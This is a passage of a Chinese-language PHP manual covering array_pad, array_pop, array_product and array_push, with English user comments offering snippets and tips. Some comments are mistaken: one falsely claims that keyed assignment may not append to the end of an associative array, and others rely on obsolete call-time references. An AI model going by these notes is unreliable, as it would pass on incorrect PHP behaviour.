meddle at dzygn.com 05-Oct-2004 07:40
If you want to sort a multidomensional array by key name you cannot use array_multisort. ie: for an array named $archivos that prints like this:

Array
(
    [0] => Array
        (
            [index] => 0
            [name] => test
        )

    [1] => Array
        (
            [index] => 0
            [name] => watertaxi.jpg
        )

    [2] => Array
        (
            [index] => 0
            [name] => 2_0003.JPG
        )

    [3] => Array
        (
            [index] => 0
            [name] => 24A_0025.JPG
        )

    [4] => Array
        (
            [index] => 1
            [name] => _CIMG3501.JPG
        )

)

If I wanted to order by "name" I'd use:

function comparar($a, $b) {
        return strnatcasecmp($a["name"], $b["name"]);
}
usort($archivos, "comparar");

This function performs a case insensitive string comparison using a "natural order" algorithm (strnatcasecmp), resulting in:

Array
(
    [0] => Array
        (
            [index] => 0
            [name] => 2_0003.JPG
        )

    [1] => Array
        (
            [index] => 0
            [name] => 24A_0025.JPG
        )

    [2] => Array
        (
            [index] => 0
            [name] => test
        )

    [3] => Array
        (
            [index] => 0
            [name] => watertaxi.jpg
        )

    [4] => Array
        (
            [index] => 1
            [name] => _CIMG3501.JPG
        )

)
kat dot n0spam at audiogalaxy dot com 23-Aug-2001 10:25
If you're having problems with array_multisort changing variables in global space when it is called inside a function and you're not passing in the function parameters by reference you can alleviate the problem by calling array_multisort with its parameters by reference.

array_multisort(&$a, SORT_DESC, &$b);

More details here in my bug report:
http://www.php.net/bugs.php?id=12936


以指定长度将一个值填充进数组

  • ? array_multisort
  • array_pop ?
  • PHP Manual
  • 数组 函数
  • 以指定长度将一个值填充进数组

array_pad

(PHP 4, PHP 5, PHP 7)

array_pad — 以指定长度将一个值填充进数组

说明

array_pad ( array $array , int $size , mixed $value ) : array

array_pad() 返回 array 的一个拷贝，并用 value 将其填补到 size 指定的长度。如果 size 为正，则填补到数组的右侧，如果为负则从左侧开始填补。如果 size 的绝对值小于或等于 array 数组的长度则没有任何填补。有可能一次最多填补 1048576 个单元。

参数

array

需要被填充的原始数组。

size

新数组的长度。

value

将被填充的值，只有在 array 的现有长度小于 size 的长度时才有效。

返回值

返回 array 用 value 填充到 size 指定的长度之后的一个副本。 如果 size 为正，则填补到数组的右侧，如果为负则从左侧开始填补。 如果 size 的绝对值小于或等于 array 数组的长度则没有任何填补。

范例

Example #1 array_pad() 例子

<?php
$input = array(12, 10, 9);

$result = array_pad($input, 5, 0);
// result is array(12, 10, 9, 0, 0)

$result = array_pad($input, -7, -1);
// result is array(-1, -1, -1, -1, 12, 10, 9)

$result = array_pad($input, 2, "noop");
// not padded
?>

参见

  • array_fill() - 用给定的值填充数组
  • range() - 根据范围创建数组，包含指定的元素

User Contributed Notes

slava-san at mail dot ru 06-Jul-2013 10:58
// insert element to array
function array_insert(&$arr, $pos, $new_el=null) {
    $arraypad = array_pad($arr, count($arr)+1, 0);
    for ($i=count($arr)-1; $i>=$pos; $i--) {
        $arr[$i+1] = $arr[$i];
        if ($i == $pos) {
            $arr[$i] = $new_el;
        }
    }
}

$digits = array();
$digits[0] = 0;
$digits[1] = 1;
$digits[2] = 2;
$digits[3] = 3;
$digits[4] = 4;
$digits[5] = 5;
echo "was: "; var_dump($digits);

array_insert($digits, 3, 100);
echo "new: "; var_dump($digits);
sonu50imedbvu at gmail dot com(Sonu Jaiswal) 12-Jan-2011 12:53
Just an info about the value of "$pad_size" ,

If we set the value of "$pad_size" from -3 to 3,

It will produce the output like:

<?php
$result = array_pad($input, -3, "noop");
//result is array(12, 10, 9)

$result = array_pad($input, 3, "noop");
//result is array(12, 10, 9)
?>

means array will remain the same.
tugla 18-Dec-2008 09:23
Beware, if you try to pad an associative array using numeric keys, your keys will be re-numbered.

<?php
$a = array('size'=>'large', 'number'=>20, 'color'=>'red');
print_r($a);
print_r(array_pad($a, 5, 'foo'));

// use timestamps as keys
$b = array(1229600459=>'large', 1229604787=>20, 1229609459=>'red');
print_r($b);
print_r(array_pad($b, 5, 'foo'));
?>

yields this:
------------------
Array
(
    [size] => large
    [number] => 20
    [color] => red
)
Array
(
    [size] => large
    [number] => 20
    [color] => red
    [0] => foo
    [1] => foo
)
Array
(
    [1229600459] => large
    [1229604787] => 20
    [1229609459] => red
)
Array
(
    [0] => large
    [1] => 20
    [2] => red
    [3] => foo
    [4] => foo
)
hk, StrApp Bussiness Solutions 08-Jan-2007 02:15
A simple example for array_pad()

the syntax is as follows: array_pad(array(), (+/-)int, value)

where "array" is the array to which the value is to be added,

"(+/-) int" is a value that decides the length of the array(it should be greater than the length of the array.
if its a negative number then the value will be added at the left of the array else it will be added to the right.

"values" denotes the value to be added to the array

lets try an example:

<?php

$digits = array();
$digits[0] = 1;
$digits[1] = 2;
$digits[2] = 3;
$arraypad = array_pad($digits, -4, "0");
print_r($arraypad);

?>

output:

Array ( [0] => 0 [1] => 1 [2] => 2 [3] => 3 )
oaev at mail dot ru 21-Oct-2004 11:48
Easy way to get an array contains 5 random numbers from 0 to 9:

$rand_arr = array_rand( array_pad( array(), 10, 1 ), 5 );
28-Feb-2004 09:00
One way to initialize a 20x20 multidimensional array.

<?php
$a = array();
$b = array();
$b = array_pad($b,20,0);
$a = array_pad($a,20,$b);
?>
mwwaygoo at hotmail dot com 16-Jan-2004 08:02
little older, a little wiser.

ksort() will order the array back into its normal order again
so:

<?php
$myArr = array(2 => 'two', 4 => 'four');

$newArr = array_pad(array(), 6, 'FILLED');
$newArr =$myArr+$newArr;
ksort($newArr);
?>

Will give :
Array ( [0] => FILLED [1] => FILLED [2] => two [3] => FILLED [4] => four [5] => FILLED )
goffrie at sympatico dot ca 23-Mar-2003 05:06
To daarius - you mean you have...

[2]=>"two"
[3]=>"three"

and you want...

[0]=>"FILLED"
[1]=>"FILLED"
[2]=>"two"
[3]=>"three"
[4]=>"FILLED"
[5]=>"FILLED"

If so, then the following code...

<?php
$array = array(2 => "two", 3 => "three");
$array = array_pad($array, count($array)+2, "FILLED");
$num = -(count($array)+2);
$array = array_pad($array, $num, "FILLED");
print_r($array);
?>

will return:
Array ( [0] => FILLED [1] => FILLED [2] => two [3] => three [4] => FILLED [5] => FILLED )
The ordering should be okay,...
mwwaygoo at hotmail dot com 19-Sep-2002 09:39
OR you could do this

<?php
$myArr = array(2 => 'three', 3 => 'four');

$newArr = array_pad(array(), 4, 'FILLED');
$newArr =$myArr+$newArr;
?>

This gives your desired result BUT the ordering is a little wierd, because of the order they were added. Indexes are okay though and that is what you wanted.

print_r($newArr) outputs
Array ( [2] => three [3] => four [0] => FILLED [1] => FILLED )

hope this helps
daarius at hotmail dot com 23-Jul-2002 07:36
yes that is true. But, if the index of the array is 2=two, 3=three

and i want 4 more keys to be filled. But, not just filled anywhere, but i want to maintain the key index.

so, i would like to have 0=FILLED, 1=FILLED ... 4=FILLED, 5=FILLED

now i got 4 more keys padded with my string.

We can do this "if" we know the missing keys, but if we dont, then it would be nice for array_pad() or perhaps some new function to do this?

obviously we can achive this by looping through the array using array_key_exists(), and if you dont find the key, simply create + fill it.
regards,
Daarius...
scott*hurring.com 19-Jul-2002 04:20
to the previous commenter -- if you read the manual entry, you'd see that a negative pad_size will put the pad values at the front of the array.


弹出数组最后一个单元（出栈）

  • ? array_pad
  • array_product ?
  • PHP Manual
  • 数组 函数
  • 弹出数组最后一个单元（出栈）

array_pop

(PHP 4, PHP 5, PHP 7)

array_pop — 弹出数组最后一个单元（出栈）

说明

array_pop ( array &$array ) : mixed

array_pop() 弹出并返回 array 数组的最后一个单元，并将数组 array 的长度减一。

Note: 使用此函数后会重置（reset()）array 指针。

参数

array

需要弹出栈的数组。

返回值

返回 array 的最后一个值。如果 array 是空（如果不是一个数组），将会返回 NULL 。

错误／异常

调用此函数去处理非数组的值，会产生 E_WARNING 级别的错误。

范例

Example #1 array_pop() 例子

<?php
$stack = array("orange", "banana", "apple", "raspberry");
$fruit = array_pop($stack);
print_r($stack);
?>

经过此操作后，$stack 将只有 3 个单元：

Array
(
    [0] => orange
    [1] => banana
    [2] => apple
)

并且 raspberry 将被赋给 $fruit。

参见

  • array_push() - 将一个或多个单元压入数组的末尾（入栈）
  • array_shift() - 将数组开头的单元移出数组
  • array_unshift() - 在数组开头插入一个或多个单元

User Contributed Notes

Anonymous 06-Nov-2015 04:02
Let's "do stuff" with array_pop()

<?php

$dependecyInjection = ['globalState' => 'isHorrible'];

$workQueue = array_reverse($workQueue); // O(n)
// While we have stuff to do..... = [[ {function}, $params.... ], [], []...]
while (!empty($workQueue)) {

  // O(1) : And resize array. (maybe also memory size ?)
  $work = array_pop($workQueue);

  // If not `muted`, invoke the worker function....
  if (isset($work[0])) {
    $processor = array_shift($work);
    if ($moreWork = $processor->__invoke($work, $dependecyInjection)) { // <== Do stuff.
      // O(n) : add new stuff to the END of array ! (FIFO)
      $outputCommands += array_reverse($moreWork);
    }
  }
}
Anonymous 28-Feb-2014 08:21
Strict Standards will be thrown out if you put exploded array in array_pop:
<?php
$a = array_pop(explode(",", "a,b,c"));
echo $a;
?>

You will see:
PHP Strict Standards:  Only variables should be passed by reference in - on line 2

Strict Standards: Only variables should be passed by reference in - on line 2
c

Notice that, you should assign a variable for function explode, then pass the variable reference into array_pop to avoid the Strict Standard warning.
elad dot yosifon at gmail dot com 10-Aug-2013 06:45
Notice:
the complexity of array_pop() is O(1).
the complexity of array_shift() is O(n).
array_shift() requires a re-index process on the array, so it has to run over all the elements and index them.
qeremy 07-Mar-2012 11:26
For the sake of array_unshift()
:)

<?php
function array_unpop(&$arr) {
    $args = func_get_args(); unset($args[0]);
    $tarr = array();
    foreach ($args as $arg) {
        $tarr[] = $arg;
    }
    $arr = array_merge($arr, $tarr);
}

$queue = array("orange", "banana");
array_unpop($queue, "apple", "raspberry");
print_r($queue);
?>

Array
(
    [0] => orange
    [1] => banana
    [2] => apple
    [3] => raspberry
)
Igor Feghali 04-Feb-2009 09:18
Beware that array_pop() returns a copy of the element (even if the array element is a reference). That means you will get different results on PHP 4 and 5 when dealing with objects.

<?php
$a = new stdClass();
$a->foo = 'bar';

$arr = array(&$a);
$b = array_pop($arr);

$b->foo = 'baz';

var_dump($a);
?>

Output of PHP 5.2.8:
object(stdClass)#1 (1) {
  ["foo"]=>
  string(3) "baz"
}

Output of PHP 4.4.9:
object(stdClass)(1) {
  ["foo"]=>
  string(3) "bar"
}

For more information please refer to:
http://br2.php.net/manual/en/language.oop5.references.php
mcgroovin at gmail dot com 23-Oct-2008 12:13
I wrote a simple function to perform an intersect on multiple (unlimited) arrays.

Pass an array containing all the arrays you want to compare, along with what key to match by.

<?php
function multipleArrayIntersect($arrayOfArrays, $matchKey)
{
    $compareArray = array_pop($arrayOfArrays);

    foreach($compareArray AS $key => $valueArray){
        foreach($arrayOfArrays AS $subArray => $contents){
            if (!in_array($compareArray[$key][$matchKey], $contents)){
                unset($compareArray[$key]);
            }
        }
    }

    return $compareArray;
}
?>
sonetti at hotmail dot com 05-Feb-2008 01:15
@smp_info
I think you are still tired. What would be wrong with:

<?php
$array = array('one', 'two', 'three', 'four');

//pop the last element off
array_pop($array);

//$array == array('one', 'two', 'three');
?>

As the documentation clearly notes, array_pop() not only returns the last element, but actually removes it from the array wich is passed by reference. Calling array_diff is a waste of resources.
Orsi 10-Jan-2008 07:05
Hi,

Here is a simple function which delete one element from the array (with value):
<?php
/*
* This function deletes the given element from a one-dimension array
* Parameters: $array:    the array (in/out)
*             $deleteIt: the value which we would like to delete
*             $useOldKeys: if it is false then the function will re-index the array (from 0, 1, ...)
*                          if it is true: the function will keep the old keys
* Returns true, if this value was in the array, otherwise false (in this case the array is same as before)
*/
function deleteFromArray(&$array, $deleteIt, $useOldKeys = FALSE)
{
    $tmpArray = array();
    $found = FALSE;
    foreach($array as $key => $value)
    {
        if($value !== $deleteIt)
        {
            if(FALSE === $useOldKeys)
            {
                $tmpArray[] = $value;
            }
            else
            {
                $tmpArray[$key] = $value;
            }
        }
        else
        {
            $found = TRUE;
        }
    }

    $array = $tmpArray;

    return $found;
}
?>

Maybe it will help somebody...
doyley3731 at gmail dot com 31-Oct-2007 04:37
I had a problem when using this function because my array was made up entirley of numbers, so I have made my own function.  Hopefully it will be useful to somebody.

function array_trim_end($array){

$num=count($array);
$num=$num-1;
unset($array[$num]);

return $array;
}
rmondragon at gmail dot com 07-Jun-2005 02:03
In a previous example ...
<?php
function array_trim ( $array, $index ) {
   if ( is_array ( $array ) ) {
     unset ( $array[$index] );
     array_unshift ( $array, array_shift ( $array ) );
     return $array;
     }
   else {
     return false;
     }
   }
?>

This have a problem. if u unset the last value and then use
<?
array_unshift ( $array, array_shift ( $array ) );
?>

will return a :  Array ( [0] => )
so u can fix it using...

<?php
if (count($array) > 0) array_unshift ( $values, array_shift ( $values ) );
?>

good luck ;)
15-Dec-2004 08:29
strrchr is a lot more useful than the other example using array_pop for finding the extension of a file. For example:

<?php
$ext = strrchr($filename, ".");
?>

$ext will contain the extension of the file, including a ".", if the file has an extension, and FALSE if the file has no extension. If the file has multiple extensions, such as "filename.tar.gz", then this construction will just return the last extension.
eddie at metafoundry dot com 25-Nov-2004 08:35
Quick way to get the extension from a file name using array_pop:

$ext = array_pop(explode(".",$filename));
30-Mar-2004 01:55
A function to delete an array value that recalculates the index ( its very short and easy to understand ).
Hope this might help someone...

<?php
/* Usage:
    $array : Array
    $indey : Integer

    The value of $array at the index $index will be
    deleted by the function.
*/
function array_trim ( $array, $index ) {
   if ( is_array ( $array ) ) {
      unset ( $array[$index] );
      array_unshift ( $array, array_shift ( $array ) );
      return $array;
      }
   else {
      return false;
      }
   }
?>
ryan8613(at)hotmail(dot)com 08-Jun-2003 06:10
A function that may help some out, considering it's pretty much the one mentioned previously...

<?php
function array_trim($arr, $indice) {
        if(!isset($indice)) {
                $indice = count($arr)-1;
        }
        unset($arr[$indice]);
        array_shift($arr);
        return $arr;
}
?>

It cuts the given index value off of the array, but without the shift, if  the 'index' value isn't given, it cuts off the end value.
28-Feb-2003 05:16
alex.chacon@terra.com
Hi
Here there is a function that delete a elemente from a array and re calculate indexes

<?php
function eliminarElementoArreglo ($array, $indice)
{
    if (array_key_exists($indice, $array))
    {
        $temp = $array[0];
        $array[0] = $array[$indice];
        $array[$indice] = $temp;
        array_shift($array);

        //reacomodamos ?ndices
        for ($i = 0 ; $i < $indice ; $i++)
        {
            $dummy = $array[$i];
            $array[$i] = $temp;
            $temp = $dummy;
        }
    }
    return $array;
}
?>


计算数组中所有值的乘积

  • ? array_pop
  • array_push ?
  • PHP Manual
  • 数组 函数
  • 计算数组中所有值的乘积

array_product

(PHP 5 >= 5.1.0, PHP 7)

array_product — 计算数组中所有值的乘积

说明

array_product ( array $array ) : number

array_product() 以整数或浮点数返回一个数组中所有值的乘积。

参数

array

这个数组。

返回值

以整数或浮点数返回一个数组中所有值的乘积。

更新日志

版本 | 说明
5.3.6 | 空数组现在会产生 1，而之前此函数处理空数组会产生 0。

范例

Example #1 array_product() 例子

<?php

$a = array(2, 4, 6, 8);
echo "product(a) = " . array_product($a) . "\n";
echo "product(array()) = " . array_product(array()) . "\n";

?>

以上例程会输出：

product(a) = 384
product(array()) = 1

User Contributed Notes

bsr dot anwar at gmail dot com 05-Jun-2017 06:04
Here's how you can find a factorial of a any given number with help of range and array_product functions.

function factorial($num) {
    return array_product(range(1, $num));
}

printf("%d", factorial(5)); //120
Jimmy PHP 29-Apr-2014 07:55
array_product() can be used to implement a simple boolean AND search

<?php
$args = array('first_name'=>'Bill','last_name'=>'Buzzard');
$values[] = array('first_name'=>'Brenda','last_name'=>'Buzzard');
$values[] = array('first_name'=>'Victor','last_name'=>'Vulture');
$values[] = array('first_name'=>'Bill','last_name'=>'Blue Jay');
$values[] = array('first_name'=>'Bill','last_name'=>'Buzzard');

$result = search_for($values,$args);
var_dump($result);exit;

function search_for($array,$args) {
    $results = array();
    foreach ($array as $row) {
        $found = false;
        $hits = array();
        foreach ($row as $k => $v) {
            if (array_key_exists($k,$args)) $hits[$k] = ($args[$k] == $v);
        }

        $found = array_product($hits);
        if (!in_array($row,$results) && true == $found) $results[] = $row;
    }

    return $results;
}
?>

Output:

array (size=1)
  0 =>
    array (size=2)
      'first_name' => string 'Bill' (length=4)
      'last_name' => string 'Buzzard' (length=7)
Marcel G 28-Sep-2010 08:36
You can use array_product to calculate the factorial of n:
<?php
function factorial( $n )
{
  if( $n < 1 ) $n = 1;
  return array_product( range( 1, $n ));
}
?>

If you need the factorial without having array_product available, here is one:
<?php
function factorial( $n )
{
  if( $n < 1 ) $n = 1;
  for( $p++; $n; ) $p *= $n--;
  return $p;
}
?>
pqpqpq at wanadoo dot nl 17-Jan-2007 04:32
An observation about the _use_ of array_product with primes:

$a=$arrayOfSomePrimes=(2,3,11);
              // 2 being the first prime (these days)

$codeNum=array_product($a); // gives 66 (== 2*3*11)

echo "unique product(\$a) = " . array_product($a) . "\n";

The 66 can (only) be split into its original primes,
which can be transformed into their place in the row of primes (2,3,5,7,11,13,17,19...)  giving (1,2,3,4,5,6,7,8...)

The 66 gives the places {1,2,5} in the row of primes. The number "66" is unique as a code for {1,2,5}

So you can define the combination of table-columns {1,2,5} in "66". The bigger the combination, the more efficient in memory/transmission, the less in calculation.
Andre D 07-Aug-2006 01:56
This function can be used to test if all values in an array of booleans are TRUE.

Consider:

<?php

function outbool($test)
{
    return (bool) $test;
}

$check[] = outbool(TRUE);
$check[] = outbool(1);
$check[] = outbool(FALSE);
$check[] = outbool(0);

$result = (bool) array_product($check);
// $result is set to FALSE because only two of the four values evaluated to TRUE

?>

The above is equivalent to:

<?php

$check1 = outbool(TRUE);
$check2 = outbool(1);
$check3 = outbool(FALSE);
$check4 = outbool(0);

$result = ($check1 && $check2 && $check3 && $check4);

?>

This use of array_product is especially useful when testing an indefinite number of booleans and is easy to construct in a loop.


将一个或多个单元压入数组的末尾（入栈）

  • ? array_product
  • array_rand ?
  • PHP Manual
  • 数组 函数
  • 将一个或多个单元压入数组的末尾（入栈）

array_push

(PHP 4, PHP 5, PHP 7)

array_push — 将一个或多个单元压入数组的末尾（入栈）

说明

array_push ( array &$array , mixed $value1 [, mixed $... ] ) : int

array_push() 将 array 当成一个栈，并将传入的变量压入 array 的末尾。array 的长度将根据入栈变量的数目增加。和如下效果相同：

<?php
$array[] = $var;
?>
并对每个传入的值重复以上动作。

Note: 如果用 array_push() 来给数组增加一个单元，还不如用 $array[] = ，因为这样没有调用函数的额外负担。

Note: 如果第一个参数不是数组，array_push() 将发出一条警告。这和 $var[] 的行为不同，后者会新建一个数组。

参数

array

输入的数组。

value1

要压入 array 末尾的第一个值。

返回值

返回处理之后数组的元素个数。

范例

Example #1 array_push() 例子

<?php
$stack = array("orange", "banana");
array_push($stack, "apple", "raspberry");
print_r($stack);
?>

以上例程会输出：

Array
(
    [0] => orange
    [1] => banana
    [2] => apple
    [3] => raspberry
)

参见

  • array_pop() - 弹出数组最后一个单元（出栈）
  • array_shift() - 将数组开头的单元移出数组
  • array_unshift() - 在数组开头插入一个或多个单元

User Contributed Notes

P.A.Semi 13-Jun-2019 09:38
There is problem with pushing references to array, introduced in PHP 5.4 - did someone decide it is not needed?

In PHP 5.3 this could be used:

$A=array(); array_push($A,1); $c=2; array_push($A,&$c); print_r($A); $c=3; print_r($A);

Outputs correctly:

Array ( [0] => 1 [1] => 2 )
Array ( [0] => 1 [1] => 3 )

Think of Reference as a pointer in other languages...
This function is needed for example to push parameters for MySql query:

$params=array(); array_push($params,&$field1); array_push($params,&$field2); array_unshift($params,'ss');
call_user_func_array(array($Query,'bind_param'),$params);

This code causes fatal error in PHP 5.4 and depending on server configuration it may not even be reported why...

A workarround to allow pushing references to array is this:

$A=array(); $A[]=1; $c=2; $A[]=&$c; print_r($A); $c=3; print_r($A);

$params=array(); $params[]=&$field1; $params[]=&$field2; array_unshift($params,'ss');
call_user_func_array(array($Query,'bind_param'),$params);

(in actual code, the fields are specified dynamically and iterated in for-loop...)

This seems working both on PHP 5.3 and PHP 5.6 ...
Carlos Alberto B. Carucce 18-Jan-2019 04:34
This is how I add all the elements from one array to another:

<?php
$oneArray = ['d', 'e', 'f'];
$anotherArray = ['a', 'b', 'c'];

array_push($anotherArray, ...$oneArray);
//['a', 'b', 'c', 'd', 'e', 'f'];
yhusky at qq dot com 06-Jul-2018 05:52
There is a mistake in the note by egingell at sisna dot com 12 years ago. The tow dimensional array will output "d,e,f", not "a,b,c".

<?php
$stack = array('a', 'b', 'c');
array_push($stack, array('d', 'e', 'f'));
print_r($stack);
?>

The above will output this:
Array (
  [0] => a
  [1] => b
  [2] => c
  [3] => Array (
     [0] => d
     [1] => e
     [2] => f
  )
)
gfuente at garrahan dot gov dot ar 20-Jan-2017 07:33
If the element to be pushed onto the end of array is an array you will receive the following error message:

Unknown Error, value: [8] Array to string conversion

I tried both: (and works, but with the warning message)

            $aRol = array( $row[0], $row[1], $row[2] );
            $aRoles[] = $aRol;

and
            array_push( $aRoles, $aRol);

The correct way:

            $cUnRol = implode("(",array( $row[0], $row[1], $row[2] ) );
            array_push( $aRoles, $cUnRol );

thanks.
colecooper2005 at icloud dot com 06-Nov-2016 06:44
When developing a pocketmine plugin, a good way to add stuff to a YAML table is

$table=$this->config->get("Table");
array_push($table, "New Value for table");
$this->config->set("Table", $table);
raat1979 at gmail dot com 23-Apr-2016 02:39
Unfortunately array_push returns the new number of items in the array
It does not give you the key of the item you just added, in numeric arrays you could do -1, you do however need to be sure that no associative key exists as that would break the assumption

It would have been better if array_push would have returned the key of the item just added like the below function
(perhaps a native variant would be a good idea...)

<?php

if(!function_exists('array_add')){
    function array_add(array &$array,$value /*[, $...]*/){
        $values = func_get_args();     //get all values
        $values[0]= &$array;        //REFERENCE!
        $org=key($array);              //where are we?
        call_user_func_array('array_push',$values);
        end($array);                 // move to the last item
        $key = key($array);         //get the key of the last item
        if($org===null){
            //was at eof, added something, move to it
            return $key;
        }elseif($org<(count($array)/2)){ //somewhere in the middle +/- is fine
            reset($array);
            while (key($array) !== $org) next($List);
        }else{
            while (key($array) !== $org) prev($List);
        }
        return $key;
    }
}
echo "<pre>\n";
$pr = array('foo'=>'bar','bar'=>'foo');
echo "Taken array;";
print_r($pr);

echo "\npush 1 returns ".array_push($pr,1)."\n";
echo "------------------------------------\n";
$pr = array('foo'=>'bar','bar'=>'foo');
echo "\npush 2 returns ".array_push($pr,1,2)."\n";
echo "------------------------------------\n";
$pr = array('foo'=>'bar','bar'=>'foo');
echo "\n add 1 returns ".array_add($pr,2)."\n\n";
echo "------------------------------------\n";
$pr = array('foo'=>'bar','bar'=>'foo');
echo "\n add 2 returns ".array_add($pr,1,2)."\n\n";
echo "<pre/>\n\n";
?>
Outputs:
Taken array;Array
(
    [foo] => bar
    [bar] => foo
)

push 1 returns 3
------------------------------------

push 2 returns 4
------------------------------------

 add 1 returns 0

------------------------------------

 add 2 returns 1
mrgreen dot webpost at gmail dot com 09-Mar-2016 02:11
Rodrigo de Aquino asserted that instead of using array_push to append to an associative array you can instead just do...

        $data[$key] = $value;

...but this is actually not true. Unlike array_push and even...

        $data[] = $value;

...Rodrigo's suggestion is NOT guaranteed to append the new element to the END of the array. For instance...

        $data['one'] = 1;
        $data['two'] = 2;
        $data['three'] = 3;
        $data['four'] = 4;

...might very well result in an array that looks like this...

       [ "four" => 4, "one" => 1, "three" => 3, "two" => 2 ]

I can only assume that PHP sorts the array as elements are added to make it easier for it to find a specified element by its key later. In many cases it won't matter if the array is not stored internally in the same order you added the elements, but if, for instance, you execute a foreach on the array later, the elements may not be processed in the order you need them to be.

If you want to add elements to the END of an associative array you should use the unary array union operator (+=) instead...

       $data['one'] = 1;
       $data += [ "two" => 2 ];
       $data += [ "three" => 3 ];
       $data += [ "four" => 4 ];

You can also, of course, append more than one element at once...

       $data['one'] = 1;
       $data += [ "two" => 2, "three" => 3 ];
       $data += [ "four" => 4 ];

Note that like array_push (but unlike $array[] =) the array must exist before the unary union, which means that if you are building an array in a loop you need to declare an empty array first...

       $data = [];
       for ( $i = 1; $i < 5; $i++ ) {
              $data += [ "element$i" => $i ];
       }

...which will result in an array that looks like this...

      [ "element1" => 1, "element2" => 2, "element3" => 3, "element4" => 4 ]
golddragon007 25-Mar-2015 10:51
I did a performance check, and I saw, if you push more than one value it can be faster the array push, that the normal $array[] version.

Case 1: $array[] = something;
Case 2: array_push($array, $value);
Case 3: array_push($array, $value1, $value2, $value3 [...]); $values are definied
Case 4: array_push($array, $value1, $value2, $value3 [...]); $values are definied, when $array is not empty
Case 5: Case1 + Case 3
Case 6: Result array contains some value (Case 4)
Case 7: Result array contains same value as the push array (Case 4)
-----------------------------------------------------------------------------------------------------------
~~~~~~~~~~~~ Case 1 ~~~~~~~~~~~~
Times: 0.0310 0.0300 0.0290 0.0340 0.0400 0.0440 0.0480 0.0550 0.0570 0.0570
Min: 0.0290
Max: 0.0570
Avg: 0.0425
~~~~~~~~~~~~ Case 2 ~~~~~~~~~~~~
Times: 0.3890 0.3850 0.3770 0.4110 0.4020 0.3980 0.4020 0.4060 0.4130 0.4200
Min: 0.3770
Max: 0.4200
Avg: 0.4003
~~~~~~~~~~~~ Case 3 ~~~~~~~~~~~~
Times: 0.0200 0.0220 0.0240 0.0340 0.0360 0.0410 0.0460 0.0500 0.0520 0.0520
Min: 0.0200
Max: 0.0520
Avg: 0.0377
~~~~~~~~~~~~ Case 4 ~~~~~~~~~~~~
Times: 0.0200 0.0250 0.0230 0.0260 0.0330 0.0390 0.0460 0.0510 0.0520 0.0520
Min: 0.0200
Max: 0.0520
Avg: 0.0367
~~~~~~~~~~~~ Case 5 ~~~~~~~~~~~~
Times: 0.0260 0.0250 0.0370 0.0360 0.0390 0.0440 0.0510 0.0520 0.0530 0.0560
Min: 0.0250
Max: 0.0560
Avg: 0.0419
~~~~~~~~~~~~ Case 6 ~~~~~~~~~~~~
Times: 0.0340 0.0280 0.0370 0.0410 0.0450 0.0480 0.0560 0.0580 0.0580 0.0570
Min: 0.0280
Max: 0.0580
Avg: 0.0462
~~~~~~~~~~~~ Case 7 ~~~~~~~~~~~~
Times: 0.0290 0.0270 0.0350 0.0410 0.0430 0.0470 0.0540 0.0540 0.0550 0.0550
Min: 0.0270
Max: 0.0550
Avg: 0.044

Tester code:
// Case 1
    $startTime = microtime(true);
    $array = array();
    for ($x = 1; $x <= 100000; $x++)
    {
        $array[] = $x;
    }
    $endTime = microtime(true);

// Case 2
    $startTime = microtime(true);
    $array = array();
    for ($x = 1; $x <= 100000; $x++)
    {
        array_push($array, $x);
    }
    $endTime = microtime(true);

// Case 3
    $result = array();
    $array2 = array(&$result)+$array;
    $startTime = microtime(true);
    call_user_func_array("array_push", $array2);
    $endTime = microtime(true);

// Case 4
    $result = array();
    for ($x = 1; $x <= 100000; $x++)
    {
        $result[] = $x;
    }
    $array2 = array(&$result)+$array;
    $startTime = microtime(true);
    call_user_func_array("array_push", $array2);
    $endTime = microtime(true);

// Case 5
    $result = array();
    $startTime = microtime(true);
    $array = array(&$result);
    for ($x = 1; $x <= 100000; $x++)
    {
        $array[] = $x;
    }
    $endTime = microtime(true);

// Case 6
    $result = array(1,2,3,4,5,6);
    $startTime = microtime(true);
    $array = array(&$result);
    for ($x = 1; $x <= 100000; $x++)
    {
        $array[] = $x;
    }
    $endTime = microtime(true);

// Case 7
    $result = array();
    for ($x = 1; $x <= 100000; $x++)
    {
        $result[] = $x;
    }
    $startTime = microtime(true);
    $array = array(&$result);
    for ($x = 1; $x <= 100000; $x++)
    {
        $array[] = $x;
    }
    $endTime = microtime(true);
flobee 20-Nov-2013 01:25
Be warned using $array "+=" array(1,2,3) or union operations (http://php.net/manual/en/language.operators.array.php)

I think it worked in the past or i havent test it good enough. :-/
(once it worked, once [] was faster than array_push, the past :-D ):

php -r '$a = array(1,2); $a += array(3,4); print_r($a);'
Array (
    [0] => 1
    [1] => 2
)
php -r '$a = array(1,2); $b = array(3,4);$c = $a + $b; print_r($c);'
Array (
    [0] => 1
    [1] => 2
)
php -r '$a = array(1,2); $b = array(2=>3,3=>4);$c = $a + $b; print_r($c);'
Array (
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)
Rodrigo de Aquino 30-Mar-2012 03:24
If you're going to use array_push() to insert a "$key" => "$value" pair into an array, it can be done using the following:

    $data[$key] = $value;

It is not necessary to use array_push.
Chicna 21-Mar-2012 10:14
I found a simple way to have an "array_push_array" function, without the references problem when we want to use call_user_func_array(), hope this help :

function array_push_array(array &$array)
{
    $numArgs = func_num_args();
    if(2 > $numArgs)
    {
      trigger_error(sprintf('%s: expects at least 2 parameters, %s given', __FUNCTION__, $numArgs), E_USER_WARNING);
      return false;
    }

    $values = func_get_args();
    array_shift($values);

    foreach($values as $v)
    {
      if(is_array($v))
      {
        if(count($v) > 0)
        {
          foreach($v as $w)
          {
            $array[] = $w;
          }
        }
      }
      else
      {
        $array[] = $v;
      }
    }

    return count($array);
}
yuri 30-Nov-2011 10:00
If you want to put an element to a specific position in an array, try this function.

<?php

function array_put_to_position(&$array, $object, $position, $name = null)
{
        $count = 0;
        $return = array();
        foreach ($array as $k => $v)
        {
                // insert new object
                if ($count == $position)
                {
                        if (!$name) $name = $count;
                        $return[$name] = $object;
                        $inserted = true;
                }
                // insert old object
                $return[$k] = $v;
                $count++;
        }
        if (!$name) $name = $count;
        if (!$inserted) $return[$name];
        $array = $return;
        return $array;
}
?>

Example :

<?php
$a = array(
 'a' => 'A',
 'b' => 'B',
 'c' => 'C',
);

print_r($a);
array_put_to_position($a, 'G', 2, 'g');
print_r($a);

/*
Array
(
    [a] => A
    [b] => B
    [c] => C
)
Array
(
    [a] => A
    [b] => B
    [g] => G
    [c] => C
)
*/
?>
aosojnik at gmail dot com 23-Nov-2009 02:56
If you want to preserve the keys in the array, use the following:

<?php
function array_pshift(&$array) {
    $keys = array_keys($array);
